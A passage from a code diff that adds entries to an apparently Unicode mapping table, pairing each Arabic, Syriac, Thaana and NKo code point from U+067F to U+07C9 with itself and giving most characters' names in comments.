+ ["\u067F", "\u067F"], /* ARABIC LETTER TEHEH (ARABIC LETTER TAA WITH FOUR DOTS ABOVE) */
+ ["\u0680", "\u0680"], /* ARABIC LETTER BEHEH (ARABIC LETTER BAA WITH FOUR DOTS BELOW) */
+ ["\u0681", "\u0681"], /* ARABIC LETTER HAH WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON HAA) */
+ ["\u0682", "\u0682"], /* ARABIC LETTER HAH WITH TWO DOTS VERTICAL ABOVE (ARABIC LETTER HAA WITH TWO DOTS VERTICAL ABOVE) */
+ ["\u0683", "\u0683"], /* ARABIC LETTER NYEH (ARABIC LETTER HAA WITH MIDDLE TWO DOTS) */
+ ["\u0684", "\u0684"], /* ARABIC LETTER DYEH (ARABIC LETTER HAA WITH MIDDLE TWO DOTS VERTICAL) */
+ ["\u0685", "\u0685"], /* ARABIC LETTER HAH WITH THREE DOTS ABOVE (ARABIC LETTER HAA WITH THREE DOTS ABOVE) */
+ ["\u0686", "\u0686"], /* ARABIC LETTER TCHEH (ARABIC LETTER HAA WITH MIDDLE THREE DOTS DOWNWARD) */
+ ["\u0687", "\u0687"], /* ARABIC LETTER TCHEHEH (ARABIC LETTER HAA WITH MIDDLE FOUR DOTS) */
+ ["\u0688", "\u0688"], /* ARABIC LETTER DDAL (ARABIC LETTER DAL WITH SMALL TAH) */
+ ["\u0689", "\u0689"], /* ARABIC LETTER DAL WITH RING */
+ ["\u068A", "\u068A"], /* ARABIC LETTER DAL WITH DOT BELOW */
+ ["\u068B", "\u068B"], /* ARABIC LETTER DAL WITH DOT BELOW AND SMALL TAH */
+ ["\u068C", "\u068C"], /* ARABIC LETTER DAHAL (ARABIC LETTER DAL WITH TWO DOTS ABOVE) */
+ ["\u068D", "\u068D"], /* ARABIC LETTER DDAHAL (ARABIC LETTER DAL WITH TWO DOTS BELOW) */
+ ["\u068E", "\u068E"], /* ARABIC LETTER DUL (ARABIC LETTER DAL WITH THREE DOTS ABOVE) */
+ ["\u068F", "\u068F"], /* ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARDS (ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARD) */
+ ["\u0690", "\u0690"], /* ARABIC LETTER DAL WITH FOUR DOTS ABOVE */
+ ["\u0691", "\u0691"], /* ARABIC LETTER RREH (ARABIC LETTER RA WITH SMALL TAH) */
+ ["\u0692", "\u0692"], /* ARABIC LETTER REH WITH SMALL V (ARABIC LETTER RA WITH SMALL V) */
+ ["\u0693", "\u0693"], /* ARABIC LETTER REH WITH RING (ARABIC LETTER RA WITH RING) */
+ ["\u0694", "\u0694"], /* ARABIC LETTER REH WITH DOT BELOW (ARABIC LETTER RA WITH DOT BELOW) */
+ ["\u0695", "\u0695"], /* ARABIC LETTER REH WITH SMALL V BELOW (ARABIC LETTER RA WITH SMALL V BELOW) */
+ ["\u0696", "\u0696"], /* ARABIC LETTER REH WITH DOT BELOW AND DOT ABOVE (ARABIC LETTER RA WITH DOT BELOW AND DOT ABOVE) */
+ ["\u0697", "\u0697"], /* ARABIC LETTER REH WITH TWO DOTS ABOVE (ARABIC LETTER RA WITH TWO DOTS ABOVE) */
+ ["\u0698", "\u0698"], /* ARABIC LETTER JEH (ARABIC LETTER RA WITH THREE DOTS ABOVE) */
+ ["\u0699", "\u0699"], /* ARABIC LETTER REH WITH FOUR DOTS ABOVE (ARABIC LETTER RA WITH FOUR DOTS ABOVE) */
+ ["\u069A", "\u069A"], /* ARABIC LETTER SEEN WITH DOT BELOW AND DOT ABOVE */
+ ["\u069B", "\u069B"], /* ARABIC LETTER SEEN WITH THREE DOTS BELOW */
+ ["\u069C", "\u069C"], /* ARABIC LETTER SEEN WITH THREE DOTS BELOW AND THREE DOTS ABOVE */
+ ["\u069D", "\u069D"], /* ARABIC LETTER SAD WITH TWO DOTS BELOW */
+ ["\u069E", "\u069E"], /* ARABIC LETTER SAD WITH THREE DOTS ABOVE */
+ ["\u069F", "\u069F"], /* ARABIC LETTER TAH WITH THREE DOTS ABOVE */
+ ["\u06A0", "\u06A0"], /* ARABIC LETTER AIN WITH THREE DOTS ABOVE */
+ ["\u06A1", "\u06A1"], /* ARABIC LETTER DOTLESS FEH (ARABIC LETTER DOTLESS FA) */
+ ["\u06A2", "\u06A2"], /* ARABIC LETTER FEH WITH DOT MOVED BELOW (ARABIC LETTER FA WITH DOT MOVED BELOW) */
+ ["\u06A3", "\u06A3"], /* ARABIC LETTER FEH WITH DOT BELOW (ARABIC LETTER FA WITH DOT BELOW) */
+ ["\u06A4", "\u06A4"], /* ARABIC LETTER VEH (ARABIC LETTER FA WITH THREE DOTS ABOVE) */
+ ["\u06A5", "\u06A5"], /* ARABIC LETTER FEH WITH THREE DOTS BELOW (ARABIC LETTER FA WITH THREE DOTS BELOW) */
+ ["\u06A6", "\u06A6"], /* ARABIC LETTER PEHEH (ARABIC LETTER FA WITH FOUR DOTS ABOVE) */
+ ["\u06A7", "\u06A7"], /* ARABIC LETTER QAF WITH DOT ABOVE */
+ ["\u06A8", "\u06A8"], /* ARABIC LETTER QAF WITH THREE DOTS ABOVE */
+ ["\u06A9", "\u06A9"], /* ARABIC LETTER KEHEH (ARABIC LETTER OPEN CAF) */
+ ["\u06AA", "\u06AA"], /* ARABIC LETTER SWASH KAF (ARABIC LETTER SWASH CAF) */
+ ["\u06AB", "\u06AB"], /* ARABIC LETTER KAF WITH RING (ARABIC LETTER CAF WITH RING) */
+ ["\u06AC", "\u06AC"], /* ARABIC LETTER KAF WITH DOT ABOVE (ARABIC LETTER CAF WITH DOT ABOVE) */
+ ["\u06AD", "\u06AD"], /* ARABIC LETTER NG (ARABIC LETTER CAF WITH THREE DOTS ABOVE) */
+ ["\u06AE", "\u06AE"], /* ARABIC LETTER KAF WITH THREE DOTS BELOW (ARABIC LETTER CAF WITH THREE DOTS BELOW) */
+ ["\u06AF", "\u06AF"], /* ARABIC LETTER GAF */
+ ["\u06B0", "\u06B0"], /* ARABIC LETTER GAF WITH RING */
+ ["\u06B1", "\u06B1"], /* ARABIC LETTER NGOEH (ARABIC LETTER GAF WITH TWO DOTS ABOVE) */
+ ["\u06B2", "\u06B2"], /* ARABIC LETTER GAF WITH TWO DOTS BELOW */
+ ["\u06B3", "\u06B3"], /* ARABIC LETTER GUEH (ARABIC LETTER GAF WITH TWO DOTS VERTICAL BELOW) */
+ ["\u06B4", "\u06B4"], /* ARABIC LETTER GAF WITH THREE DOTS ABOVE */
+ ["\u06B5", "\u06B5"], /* ARABIC LETTER LAM WITH SMALL V */
+ ["\u06B6", "\u06B6"], /* ARABIC LETTER LAM WITH DOT ABOVE */
+ ["\u06B7", "\u06B7"], /* ARABIC LETTER LAM WITH THREE DOTS ABOVE */
+ ["\u06B8", "\u06B8"], /* ARABIC LETTER LAM WITH THREE DOTS BELOW */
+ ["\u06B9", "\u06B9"], /* ARABIC LETTER NOON WITH DOT BELOW */
+ ["\u06BA", "\u06BA"], /* ARABIC LETTER NOON GHUNNA (ARABIC LETTER DOTLESS NOON) */
+ ["\u06BB", "\u06BB"], /* ARABIC LETTER RNOON (ARABIC LETTER DOTLESS NOON WITH SMALL TAH) */
+ ["\u06BC", "\u06BC"], /* ARABIC LETTER NOON WITH RING */
+ ["\u06BD", "\u06BD"], /* ARABIC LETTER NOON WITH THREE DOTS ABOVE */
+ ["\u06BE", "\u06BE"], /* ARABIC LETTER HEH DOACHASHMEE (ARABIC LETTER KNOTTED HA) */
+ ["\u06BF", "\u06BF"], /* ARABIC LETTER TCHEH WITH DOT ABOVE */
+ ["\u06C0", "\u06C0"], /* ARABIC LETTER HEH WITH YEH ABOVE (ARABIC LETTER HAMZAH ON HA) */
+ ["\u06C1", "\u06C1"], /* ARABIC LETTER HEH GOAL (ARABIC LETTER HA GOAL) */
+ ["\u06C2", "\u06C2"], /* ARABIC LETTER HEH GOAL WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON HA GOAL) */
+ ["\u06C3", "\u06C3"], /* ARABIC LETTER TEH MARBUTA GOAL (ARABIC LETTER TAA MARBUTAH GOAL) */
+ ["\u06C4", "\u06C4"], /* ARABIC LETTER WAW WITH RING */
+ ["\u06C5", "\u06C5"], /* ARABIC LETTER KIRGHIZ OE (ARABIC LETTER WAW WITH BAR) */
+ ["\u06C6", "\u06C6"], /* ARABIC LETTER OE (ARABIC LETTER WAW WITH SMALL V) */
+ ["\u06C7", "\u06C7"], /* ARABIC LETTER U (ARABIC LETTER WAW WITH DAMMAH) */
+ ["\u06C8", "\u06C8"], /* ARABIC LETTER YU (ARABIC LETTER WAW WITH ALEF ABOVE) */
+ ["\u06C9", "\u06C9"], /* ARABIC LETTER KIRGHIZ YU (ARABIC LETTER WAW WITH INVERTED SMALL V) */
+ ["\u06CA", "\u06CA"], /* ARABIC LETTER WAW WITH TWO DOTS ABOVE */
+ ["\u06CB", "\u06CB"], /* ARABIC LETTER VE (ARABIC LETTER WAW WITH THREE DOTS ABOVE) */
+ ["\u06CC", "\u06CC"], /* ARABIC LETTER FARSI YEH (ARABIC LETTER DOTLESS YA) */
+ ["\u06CD", "\u06CD"], /* ARABIC LETTER YEH WITH TAIL (ARABIC LETTER YA WITH TAIL) */
+ ["\u06CE", "\u06CE"], /* ARABIC LETTER YEH WITH SMALL V (ARABIC LETTER YA WITH SMALL V) */
+ ["\u06CF", "\u06CF"], /* ARABIC LETTER WAW WITH DOT ABOVE */
+ ["\u06D0", "\u06D0"], /* ARABIC LETTER E (ARABIC LETTER YA WITH TWO DOTS VERTICAL BELOW) */
+ ["\u06D1", "\u06D1"], /* ARABIC LETTER YEH WITH THREE DOTS BELOW (ARABIC LETTER YA WITH THREE DOTS BELOW) */
+ ["\u06D2", "\u06D2"], /* ARABIC LETTER YEH BARREE (ARABIC LETTER YA BARREE) */
+ ["\u06D3", "\u06D3"], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON YA BARREE) */
+ ["\u06D4", "\u06D4"], /* ARABIC FULL STOP (ARABIC PERIOD) */
+ ["\u06D5", "\u06D5"], /* ARABIC LETTER AE */
+ ["\u06D6", "\u06D6"], /* ARABIC SMALL HIGH LIGATURE SAD WITH LAM WITH ALEF MAKSURA */
+ ["\u06D7", "\u06D7"], /* ARABIC SMALL HIGH LIGATURE QAF WITH LAM WITH ALEF MAKSURA */
+ ["\u06D8", "\u06D8"], /* ARABIC SMALL HIGH MEEM INITIAL FORM */
+ ["\u06D9", "\u06D9"], /* ARABIC SMALL HIGH LAM ALEF */
+ ["\u06DA", "\u06DA"], /* ARABIC SMALL HIGH JEEM */
+ ["\u06DB", "\u06DB"], /* ARABIC SMALL HIGH THREE DOTS */
+ ["\u06DC", "\u06DC"], /* ARABIC SMALL HIGH SEEN */
+ ["\u06DD", "\u06DD"], /* ARABIC END OF AYAH */
+ ["\u06DE", "\u06DE"], /* ARABIC START OF RUB EL HIZB */
+ ["\u06DF", "\u06DF"], /* ARABIC SMALL HIGH ROUNDED ZERO */
+ ["\u06E0", "\u06E0"], /* ARABIC SMALL HIGH UPRIGHT RECTANGULAR ZERO */
+ ["\u06E1", "\u06E1"], /* ARABIC SMALL HIGH DOTLESS HEAD OF KHAH */
+ ["\u06E2", "\u06E2"], /* ARABIC SMALL HIGH MEEM ISOLATED FORM */
+ ["\u06E3", "\u06E3"], /* ARABIC SMALL LOW SEEN */
+ ["\u06E4", "\u06E4"], /* ARABIC SMALL HIGH MADDA */
+ ["\u06E5", "\u06E5"], /* ARABIC SMALL WAW */
+ ["\u06E6", "\u06E6"], /* ARABIC SMALL YEH */
+ ["\u06E7", "\u06E7"], /* ARABIC SMALL HIGH YEH */
+ ["\u06E8", "\u06E8"], /* ARABIC SMALL HIGH NOON */
+ ["\u06E9", "\u06E9"], /* ARABIC PLACE OF SAJDAH */
+ ["\u06EA", "\u06EA"], /* ARABIC EMPTY CENTRE LOW STOP */
+ ["\u06EB", "\u06EB"], /* ARABIC EMPTY CENTRE HIGH STOP */
+ ["\u06EC", "\u06EC"], /* ARABIC ROUNDED HIGH STOP WITH FILLED CENTRE */
+ ["\u06ED", "\u06ED"], /* ARABIC SMALL LOW MEEM */
+ ["\u06EE", "\u06EE"], /* ARABIC LETTER DAL WITH INVERTED V */
+ ["\u06EF", "\u06EF"], /* ARABIC LETTER REH WITH INVERTED V */
+ ["\u06F0", "\u06F0"], /* EXTENDED ARABIC-INDIC DIGIT ZERO (EASTERN ARABIC-INDIC DIGIT ZERO) */
+ ["\u06F1", "\u06F1"], /* EXTENDED ARABIC-INDIC DIGIT ONE (EASTERN ARABIC-INDIC DIGIT ONE) */
+ ["\u06F2", "\u06F2"], /* EXTENDED ARABIC-INDIC DIGIT TWO (EASTERN ARABIC-INDIC DIGIT TWO) */
+ ["\u06F3", "\u06F3"], /* EXTENDED ARABIC-INDIC DIGIT THREE (EASTERN ARABIC-INDIC DIGIT THREE) */
+ ["\u06F4", "\u06F4"], /* EXTENDED ARABIC-INDIC DIGIT FOUR (EASTERN ARABIC-INDIC DIGIT FOUR) */
+ ["\u06F5", "\u06F5"], /* EXTENDED ARABIC-INDIC DIGIT FIVE (EASTERN ARABIC-INDIC DIGIT FIVE) */
+ ["\u06F6", "\u06F6"], /* EXTENDED ARABIC-INDIC DIGIT SIX (EASTERN ARABIC-INDIC DIGIT SIX) */
+ ["\u06F7", "\u06F7"], /* EXTENDED ARABIC-INDIC DIGIT SEVEN (EASTERN ARABIC-INDIC DIGIT SEVEN) */
+ ["\u06F8", "\u06F8"], /* EXTENDED ARABIC-INDIC DIGIT EIGHT (EASTERN ARABIC-INDIC DIGIT EIGHT) */
+ ["\u06F9", "\u06F9"], /* EXTENDED ARABIC-INDIC DIGIT NINE (EASTERN ARABIC-INDIC DIGIT NINE) */
+ ["\u06FA", "\u06FA"], /* ARABIC LETTER SHEEN WITH DOT BELOW */
+ ["\u06FB", "\u06FB"], /* ARABIC LETTER DAD WITH DOT BELOW */
+ ["\u06FC", "\u06FC"], /* ARABIC LETTER GHAIN WITH DOT BELOW */
+ ["\u06FD", "\u06FD"], /* ARABIC SIGN SINDHI AMPERSAND */
+ ["\u06FE", "\u06FE"], /* ARABIC SIGN SINDHI POSTPOSITION MEN */
+ ["\u06FF", "\u06FF"], /* ARABIC LETTER HEH WITH INVERTED V */
+ ["\u0700", "\u0700"], /* SYRIAC END OF PARAGRAPH */
+ ["\u0701", "\u0701"], /* SYRIAC SUPRALINEAR FULL STOP */
+ ["\u0702", "\u0702"], /* SYRIAC SUBLINEAR FULL STOP */
+ ["\u0703", "\u0703"], /* SYRIAC SUPRALINEAR COLON */
+ ["\u0704", "\u0704"], /* SYRIAC SUBLINEAR COLON */
+ ["\u0705", "\u0705"], /* SYRIAC HORIZONTAL COLON */
+ ["\u0706", "\u0706"], /* SYRIAC COLON SKEWED LEFT */
+ ["\u0707", "\u0707"], /* SYRIAC COLON SKEWED RIGHT */
+ ["\u0708", "\u0708"], /* SYRIAC SUPRALINEAR COLON SKEWED LEFT */
+ ["\u0709", "\u0709"], /* SYRIAC SUBLINEAR COLON SKEWED RIGHT */
+ ["\u070A", "\u070A"], /* SYRIAC CONTRACTION */
+ ["\u070B", "\u070B"], /* SYRIAC HARKLEAN OBELUS */
+ ["\u070C", "\u070C"], /* SYRIAC HARKLEAN METOBELUS */
+ ["\u070D", "\u070D"], /* SYRIAC HARKLEAN ASTERISCUS */
+ ["\u070E", "\u070E"],
+ ["\u070F", "\u070F"], /* SYRIAC ABBREVIATION MARK */
+ ["\u0710", "\u0710"], /* SYRIAC LETTER ALAPH */
+ ["\u0711", "\u0711"], /* SYRIAC LETTER SUPERSCRIPT ALAPH */
+ ["\u0712", "\u0712"], /* SYRIAC LETTER BETH */
+ ["\u0713", "\u0713"], /* SYRIAC LETTER GAMAL */
+ ["\u0714", "\u0714"], /* SYRIAC LETTER GAMAL GARSHUNI */
+ ["\u0715", "\u0715"], /* SYRIAC LETTER DALATH */
+ ["\u0716", "\u0716"], /* SYRIAC LETTER DOTLESS DALATH RISH */
+ ["\u0717", "\u0717"], /* SYRIAC LETTER HE */
+ ["\u0718", "\u0718"], /* SYRIAC LETTER WAW */
+ ["\u0719", "\u0719"], /* SYRIAC LETTER ZAIN */
+ ["\u071A", "\u071A"], /* SYRIAC LETTER HETH */
+ ["\u071B", "\u071B"], /* SYRIAC LETTER TETH */
+ ["\u071C", "\u071C"], /* SYRIAC LETTER TETH GARSHUNI */
+ ["\u071D", "\u071D"], /* SYRIAC LETTER YUDH */
+ ["\u071E", "\u071E"], /* SYRIAC LETTER YUDH HE */
+ ["\u071F", "\u071F"], /* SYRIAC LETTER KAPH */
+ ["\u0720", "\u0720"], /* SYRIAC LETTER LAMADH */
+ ["\u0721", "\u0721"], /* SYRIAC LETTER MIM */
+ ["\u0722", "\u0722"], /* SYRIAC LETTER NUN */
+ ["\u0723", "\u0723"], /* SYRIAC LETTER SEMKATH */
+ ["\u0724", "\u0724"], /* SYRIAC LETTER FINAL SEMKATH */
+ ["\u0725", "\u0725"], /* SYRIAC LETTER E */
+ ["\u0726", "\u0726"], /* SYRIAC LETTER PE */
+ ["\u0727", "\u0727"], /* SYRIAC LETTER REVERSED PE */
+ ["\u0728", "\u0728"], /* SYRIAC LETTER SADHE */
+ ["\u0729", "\u0729"], /* SYRIAC LETTER QAPH */
+ ["\u072A", "\u072A"], /* SYRIAC LETTER RISH */
+ ["\u072B", "\u072B"], /* SYRIAC LETTER SHIN */
+ ["\u072C", "\u072C"], /* SYRIAC LETTER TAW */
+ ["\u072D", "\u072D"], /* SYRIAC LETTER PERSIAN BHETH */
+ ["\u072E", "\u072E"], /* SYRIAC LETTER PERSIAN GHAMAL */
+ ["\u072F", "\u072F"], /* SYRIAC LETTER PERSIAN DHALATH */
+ ["\u0730", "\u0730"], /* SYRIAC PTHAHA ABOVE */
+ ["\u0731", "\u0731"], /* SYRIAC PTHAHA BELOW */
+ ["\u0732", "\u0732"], /* SYRIAC PTHAHA DOTTED */
+ ["\u0733", "\u0733"], /* SYRIAC ZQAPHA ABOVE */
+ ["\u0734", "\u0734"], /* SYRIAC ZQAPHA BELOW */
+ ["\u0735", "\u0735"], /* SYRIAC ZQAPHA DOTTED */
+ ["\u0736", "\u0736"], /* SYRIAC RBASA ABOVE */
+ ["\u0737", "\u0737"], /* SYRIAC RBASA BELOW */
+ ["\u0738", "\u0738"], /* SYRIAC DOTTED ZLAMA HORIZONTAL */
+ ["\u0739", "\u0739"], /* SYRIAC DOTTED ZLAMA ANGULAR */
+ ["\u073A", "\u073A"], /* SYRIAC HBASA ABOVE */
+ ["\u073B", "\u073B"], /* SYRIAC HBASA BELOW */
+ ["\u073C", "\u073C"], /* SYRIAC HBASA-ESASA DOTTED */
+ ["\u073D", "\u073D"], /* SYRIAC ESASA ABOVE */
+ ["\u073E", "\u073E"], /* SYRIAC ESASA BELOW */
+ ["\u073F", "\u073F"], /* SYRIAC RWAHA */
+ ["\u0740", "\u0740"], /* SYRIAC FEMININE DOT */
+ ["\u0741", "\u0741"], /* SYRIAC QUSHSHAYA */
+ ["\u0742", "\u0742"], /* SYRIAC RUKKAKHA */
+ ["\u0743", "\u0743"], /* SYRIAC TWO VERTICAL DOTS ABOVE */
+ ["\u0744", "\u0744"], /* SYRIAC TWO VERTICAL DOTS BELOW */
+ ["\u0745", "\u0745"], /* SYRIAC THREE DOTS ABOVE */
+ ["\u0746", "\u0746"], /* SYRIAC THREE DOTS BELOW */
+ ["\u0747", "\u0747"], /* SYRIAC OBLIQUE LINE ABOVE */
+ ["\u0748", "\u0748"], /* SYRIAC OBLIQUE LINE BELOW */
+ ["\u0749", "\u0749"], /* SYRIAC MUSIC */
+ ["\u074A", "\u074A"], /* SYRIAC BARREKH */
+ ["\u074B", "\u074B"],
+ ["\u074C", "\u074C"],
+ ["\u074D", "\u074D"], /* SYRIAC LETTER SOGDIAN ZHAIN */
+ ["\u074E", "\u074E"], /* SYRIAC LETTER SOGDIAN KHAPH */
+ ["\u074F", "\u074F"], /* SYRIAC LETTER SOGDIAN FE */
+ ["\u0750", "\u0750"], /* ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW */
+ ["\u0751", "\u0751"], /* ARABIC LETTER BEH WITH DOT BELOW AND THREE DOTS ABOVE */
+ ["\u0752", "\u0752"], /* ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ ["\u0753", "\u0753"], /* ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW AND TWO DOTS ABOVE */
+ ["\u0754", "\u0754"], /* ARABIC LETTER BEH WITH TWO DOTS BELOW AND DOT ABOVE */
+ ["\u0755", "\u0755"], /* ARABIC LETTER BEH WITH INVERTED SMALL V BELOW */
+ ["\u0756", "\u0756"], /* ARABIC LETTER BEH WITH SMALL V */
+ ["\u0757", "\u0757"], /* ARABIC LETTER HAH WITH TWO DOTS ABOVE */
+ ["\u0758", "\u0758"], /* ARABIC LETTER HAH WITH THREE DOTS POINTING UPWARDS BELOW */
+ ["\u0759", "\u0759"], /* ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW AND SMALL TAH */
+ ["\u075A", "\u075A"], /* ARABIC LETTER DAL WITH INVERTED SMALL V BELOW */
+ ["\u075B", "\u075B"], /* ARABIC LETTER REH WITH STROKE */
+ ["\u075C", "\u075C"], /* ARABIC LETTER SEEN WITH FOUR DOTS ABOVE */
+ ["\u075D", "\u075D"], /* ARABIC LETTER AIN WITH TWO DOTS ABOVE */
+ ["\u075E", "\u075E"], /* ARABIC LETTER AIN WITH THREE DOTS POINTING DOWNWARDS ABOVE */
+ ["\u075F", "\u075F"], /* ARABIC LETTER AIN WITH TWO DOTS VERTICALLY ABOVE */
+ ["\u0760", "\u0760"], /* ARABIC LETTER FEH WITH TWO DOTS BELOW */
+ ["\u0761", "\u0761"], /* ARABIC LETTER FEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ ["\u0762", "\u0762"], /* ARABIC LETTER KEHEH WITH DOT ABOVE */
+ ["\u0763", "\u0763"], /* ARABIC LETTER KEHEH WITH THREE DOTS ABOVE */
+ ["\u0764", "\u0764"], /* ARABIC LETTER KEHEH WITH THREE DOTS POINTING UPWARDS BELOW */
+ ["\u0765", "\u0765"], /* ARABIC LETTER MEEM WITH DOT ABOVE */
+ ["\u0766", "\u0766"], /* ARABIC LETTER MEEM WITH DOT BELOW */
+ ["\u0767", "\u0767"], /* ARABIC LETTER NOON WITH TWO DOTS BELOW */
+ ["\u0768", "\u0768"], /* ARABIC LETTER NOON WITH SMALL TAH */
+ ["\u0769", "\u0769"], /* ARABIC LETTER NOON WITH SMALL V */
+ ["\u076A", "\u076A"], /* ARABIC LETTER LAM WITH BAR */
+ ["\u076B", "\u076B"], /* ARABIC LETTER REH WITH TWO DOTS VERTICALLY ABOVE */
+ ["\u076C", "\u076C"], /* ARABIC LETTER REH WITH HAMZA ABOVE */
+ ["\u076D", "\u076D"], /* ARABIC LETTER SEEN WITH TWO DOTS VERTICALLY ABOVE */
+ ["\u076E", "\u076E"], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH BELOW */
+ ["\u076F", "\u076F"], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ ["\u0770", "\u0770"], /* ARABIC LETTER SEEN WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ ["\u0771", "\u0771"], /* ARABIC LETTER REH WITH SMALL ARABIC LETTER TAH AND TWO DOTS */
+ ["\u0772", "\u0772"], /* ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH ABOVE */
+ ["\u0773", "\u0773"], /* ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ ["\u0774", "\u0774"], /* ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ ["\u0775", "\u0775"], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ ["\u0776", "\u0776"], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ ["\u0777", "\u0777"], /* ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW */
+ ["\u0778", "\u0778"], /* ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ ["\u0779", "\u0779"], /* ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ ["\u077A", "\u077A"], /* ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE */
+ ["\u077B", "\u077B"], /* ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE */
+ ["\u077C", "\u077C"], /* ARABIC LETTER HAH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW */
+ ["\u077D", "\u077D"], /* ARABIC LETTER SEEN WITH EXTENDED ARABIC-INDIC DIGIT FOUR ABOVE */
+ ["\u077E", "\u077E"], /* ARABIC LETTER SEEN WITH INVERTED V */
+ ["\u077F", "\u077F"], /* ARABIC LETTER KAF WITH TWO DOTS ABOVE */
+ ["\u0780", "\u0780"], /* THAANA LETTER HAA */
+ ["\u0781", "\u0781"], /* THAANA LETTER SHAVIYANI */
+ ["\u0782", "\u0782"], /* THAANA LETTER NOONU */
+ ["\u0783", "\u0783"], /* THAANA LETTER RAA */
+ ["\u0784", "\u0784"], /* THAANA LETTER BAA */
+ ["\u0785", "\u0785"], /* THAANA LETTER LHAVIYANI */
+ ["\u0786", "\u0786"], /* THAANA LETTER KAAFU */
+ ["\u0787", "\u0787"], /* THAANA LETTER ALIFU */
+ ["\u0788", "\u0788"], /* THAANA LETTER VAAVU */
+ ["\u0789", "\u0789"], /* THAANA LETTER MEEMU */
+ ["\u078A", "\u078A"], /* THAANA LETTER FAAFU */
+ ["\u078B", "\u078B"], /* THAANA LETTER DHAALU */
+ ["\u078C", "\u078C"], /* THAANA LETTER THAA */
+ ["\u078D", "\u078D"], /* THAANA LETTER LAAMU */
+ ["\u078E", "\u078E"], /* THAANA LETTER GAAFU */
+ ["\u078F", "\u078F"], /* THAANA LETTER GNAVIYANI */
+ ["\u0790", "\u0790"], /* THAANA LETTER SEENU */
+ ["\u0791", "\u0791"], /* THAANA LETTER DAVIYANI */
+ ["\u0792", "\u0792"], /* THAANA LETTER ZAVIYANI */
+ ["\u0793", "\u0793"], /* THAANA LETTER TAVIYANI */
+ ["\u0794", "\u0794"], /* THAANA LETTER YAA */
+ ["\u0795", "\u0795"], /* THAANA LETTER PAVIYANI */
+ ["\u0796", "\u0796"], /* THAANA LETTER JAVIYANI */
+ ["\u0797", "\u0797"], /* THAANA LETTER CHAVIYANI */
+ ["\u0798", "\u0798"], /* THAANA LETTER TTAA */
+ ["\u0799", "\u0799"], /* THAANA LETTER HHAA */
+ ["\u079A", "\u079A"], /* THAANA LETTER KHAA */
+ ["\u079B", "\u079B"], /* THAANA LETTER THAALU */
+ ["\u079C", "\u079C"], /* THAANA LETTER ZAA */
+ ["\u079D", "\u079D"], /* THAANA LETTER SHEENU */
+ ["\u079E", "\u079E"], /* THAANA LETTER SAADHU */
+ ["\u079F", "\u079F"], /* THAANA LETTER DAADHU */
+ ["\u07A0", "\u07A0"], /* THAANA LETTER TO */
+ ["\u07A1", "\u07A1"], /* THAANA LETTER ZO */
+ ["\u07A2", "\u07A2"], /* THAANA LETTER AINU */
+ ["\u07A3", "\u07A3"], /* THAANA LETTER GHAINU */
+ ["\u07A4", "\u07A4"], /* THAANA LETTER QAAFU */
+ ["\u07A5", "\u07A5"], /* THAANA LETTER WAAVU */
+ ["\u07A6", "\u07A6"], /* THAANA ABAFILI */
+ ["\u07A7", "\u07A7"], /* THAANA AABAAFILI */
+ ["\u07A8", "\u07A8"], /* THAANA IBIFILI */
+ ["\u07A9", "\u07A9"], /* THAANA EEBEEFILI */
+ ["\u07AA", "\u07AA"], /* THAANA UBUFILI */
+ ["\u07AB", "\u07AB"], /* THAANA OOBOOFILI */
+ ["\u07AC", "\u07AC"], /* THAANA EBEFILI */
+ ["\u07AD", "\u07AD"], /* THAANA EYBEYFILI */
+ ["\u07AE", "\u07AE"], /* THAANA OBOFILI */
+ ["\u07AF", "\u07AF"], /* THAANA OABOAFILI */
+ ["\u07B0", "\u07B0"], /* THAANA SUKUN */
+ ["\u07B1", "\u07B1"], /* THAANA LETTER NAA */
+ ["\u07B2", "\u07B2"],
+ ["\u07B3", "\u07B3"],
+ ["\u07B4", "\u07B4"],
+ ["\u07B5", "\u07B5"],
+ ["\u07B6", "\u07B6"],
+ ["\u07B7", "\u07B7"],
+ ["\u07B8", "\u07B8"],
+ ["\u07B9", "\u07B9"],
+ ["\u07BA", "\u07BA"],
+ ["\u07BB", "\u07BB"],
+ ["\u07BC", "\u07BC"],
+ ["\u07BD", "\u07BD"],
+ ["\u07BE", "\u07BE"],
+ ["\u07BF", "\u07BF"],
+ ["\u07C0", "\u07C0"], /* NKO DIGIT ZERO */
+ ["\u07C1", "\u07C1"], /* NKO DIGIT ONE */
+ ["\u07C2", "\u07C2"], /* NKO DIGIT TWO */
+ ["\u07C3", "\u07C3"], /* NKO DIGIT THREE */
+ ["\u07C4", "\u07C4"], /* NKO DIGIT FOUR */
+ ["\u07C5", "\u07C5"], /* NKO DIGIT FIVE */
+ ["\u07C6", "\u07C6"], /* NKO DIGIT SIX */
+ ["\u07C7", "\u07C7"], /* NKO DIGIT SEVEN */
+ ["\u07C8", "\u07C8"], /* NKO DIGIT EIGHT */
+ ["\u07C9", "\u07C9"], /* NKO DIGIT NINE */
